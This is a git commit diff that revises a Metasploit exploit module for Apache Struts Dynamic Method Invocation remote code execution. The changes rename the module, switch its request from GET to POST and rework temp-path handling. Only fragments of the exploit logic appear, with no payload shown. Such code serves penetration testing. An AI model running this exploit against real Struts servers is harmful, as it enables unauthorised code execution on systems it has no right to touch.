Address all @FireFart's feedback
parent
6f6558923b
commit
e9535dbc5b
|
@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
|
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a remote command execution vulnerability in Apache Struts
|
This module exploits a remote command execution vulnerability in Apache Struts
|
||||||
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
||||||
|
@ -53,9 +53,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
def send_http_request(payload)
|
def send_http_request(payload)
|
||||||
uri = normalize_uri(datastore['TARGETURI'])
|
uri = normalize_uri(datastore['TARGETURI'])
|
||||||
send_request_cgi(
|
send_request_cgi(
|
||||||
'uri' => uri + payload,
|
'uri' => "#{uri}#{payload}",
|
||||||
'version' => '1.1',
|
'method' => 'POST')
|
||||||
'method' => 'GET')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def parameterize(params) # params is a hash
|
def parameterize(params) # params is a hash
|
||||||
|
@ -75,11 +74,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def temp_path
|
def temp_path
|
||||||
return nil unless datastore['TMP_PATH']
|
@tmp_path ||= lambda {
|
||||||
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
|
path = datastore['TMP_PATH']
|
||||||
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
|
return nil unless path
|
||||||
|
unless path.end_with?('/')
|
||||||
|
path << '/'
|
||||||
end
|
end
|
||||||
datastore['TMP_PATH']
|
return path
|
||||||
|
}.call
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_file(filename, content)
|
def upload_file(filename, content)
|
||||||
|
|
Loading…
Reference in New Issue